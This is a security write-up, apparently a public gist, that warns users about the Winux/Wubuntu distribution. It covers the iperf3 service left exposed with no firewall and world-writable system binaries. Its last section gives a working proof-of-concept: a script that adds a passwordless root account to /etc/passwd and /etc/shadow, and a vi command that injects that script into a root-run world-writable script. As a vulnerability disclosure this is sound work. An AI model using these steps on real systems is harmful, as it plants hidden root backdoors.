linuxfx / winux / wubuntu security issues: from world-writable files to backdooring the system

linuxfx_winux_windowsfx_wubuntu-security-issues.md

Introduction

linuxfx, winux, windowsfx or wubuntu are Linux distributions which imitate the look and feel of Windows 11.

It has been quite controversial in the latest years:

• https://kernal.eu/posts/linuxfx/
• https://kernal.eu/posts/linuxfx-part-2/
• https://wink.messengergeek.com/t/a-warning-against-the-wubuntu-operating-system/24181
• https://www.reddit.com/r/linux/comments/15acjd6/psa_wubuntulinuxfxwindowsfx/
• https://www.youtube.com/watch?v=PP9hrM3mFcE
• https://www.linux.org/threads/dumping-linuxfx-customers.40704/?__cf_chl_f_tk=IZ3.VA7iypG_syaSCpcd2yXi2QugsfZ.Pg3I7duBMyU-1754863644-1.0.1.1-pqn8259PQmX3t_BnNKqLUMemek3xalFLPwpTcVTrM7w
• https://www.reddit.com/r/linux/comments/ux2tof/dumping_linuxfx_customers_a_windowslike_distro/

With the new waves of users migrating away from Windows 10 (https://endof10.org/), many are looking for ways to make the transition easier, by seeking out user-friendly distros.

Unfortunately linuxfx, winux, windowsfx or wubuntu are not the solution. At least not if you care about security and privacy, and best practices.

What is the problem?

• Questionable services preinstalled by default (iperf3).
• No firewall enabled by default (to protect those services).
• World-writable scripts and directories (!!).

Winux comes preinstalled with several services preinstalled, like iperf3 (a tool to perform network throughput tests):

Since there's no firewall enabled by default, anyone from the LAN can perform network throughput tests against your system (eventually causing unneccesary resources consumption):

anon@home ~ # nft list ruleset
anon@home ~ #

From a remote system:

user1@remote ~ $ iperf3 -p 5201 -t 86400 -i 1 -c 192.168.1.103
Connecting to host 192.168.1.103, port 5201
[  5] local 192.168.1.102 port 58502 connected to 192.168.1.103 port 5201
[ ID] Interval           Transfer     Bitrate         Retr  Cwnd
[  5]   0.00-1.00   sec  35.4 MBytes   296 Mbits/sec    0    204 KBytes       
[  5]   1.00-2.00   sec  31.1 MBytes   261 Mbits/sec    0    218 KBytes

why? why any user of any level needs this service running by default? Only the linuxfx devs can answer this question. Obviously you can configure a firewall like OpenSnitch, to block inbound connections, but you should only have running the minimal network services you need, listening on localhost whenever possible.

But the most severe security issue with Winux (11.25.08) is that, by default, the system comes preinstalled with several binaries with world-write permissions:

anon@home:~$ find /usr/bin /usr/sbin -perm /o+w -type f -exec ls -l {} \;
-rwxrwxrwx 1 root root 186578 Aug  9 21:03 /usr/bin/updsys
-rwxrwxrwx 1 root root 186578 Jul 17 09:59 /usr/bin/xsu
-rwxrwxrwx 1 root root 7317 Aug  9 20:00 /usr/bin/winver
-rwxrwxrwx 1 root root 18568 Oct 31  2024 /usr/bin/winetoolsinstall
-rwxrwxrwx 1 root root 11438 Aug  9 21:01 /usr/sbin/update-info-data

But what's wrong with files and directories set to 777 permissions? well, it means you allow anyone in the system to modify those files, opening the door for them to be hacked or backdoored. Sorry but we don't do that here. There's an administrative account (root)

Let's focus on one of these scripts: /usr/sbin/update-info-data

This script is in charge for performing some system tasks:

anon@home:~$ strings /usr/sbin/update-info-data
cp /usr/bin/xsh /usr/bin/sysupd
cp /usr/bin/xsu /usr/bin/updsys
chmod -R 777 /opt/cyber
(...)
chmod 777 /home/
(...)
chmod 777 -R /usr/share/sddm/themes/breeze/images/
(...)
rm /opt/winux-extras/*.deb
rm /var/logs/kern*
rm /var/logs/sys*
/usr/share/applications/kubuntu-calamares.desktop
chmod 777 /etc/machine-info

It's called from a systemd service as root:

anon@home ~ $ grep -r update-info-data /etc/* 2>/dev/null
/etc/systemd/system/update-info-sys.service:ExecStart=/usr/sbin/update-info-data

As you can see, this script can do anything in the system (as root), and introduces once again bad practices by setting 777 permissions on several paths.

How can an attacker take advantage of this script?

Since the script has world-writable permissions (777) , anyone can modify it, for example to execute a script to add a new administror (root) account without password:

anon@home ~ $ cat backdoor
#!/usr/bin/bash

echo "b:x:0:1000:b:/tmp:/bin/bash" >> /etc/passwd
echo "b::20309:0:99999:7:::" >> /etc/shadow

modify the script to call this backdoor (the path to be replaced must be of the same length of the path to the malicious script):

vi -c ":%s/rm \/var\/logs\/sys\*/\/home\/anon\/backdoor/" -c ":wq" /usr/sbin/update-info-data

Then when the user reboots the system, a new administrator (root) account without password will be added.

anon@home:~$ su b
pam_mount password:<enter>

root@home:/home/x# id
uid=0(root) gid=1000(anon) groups=1000(anon)

This is just an example. As you can imagine, an attacker or malware can do whatever they want.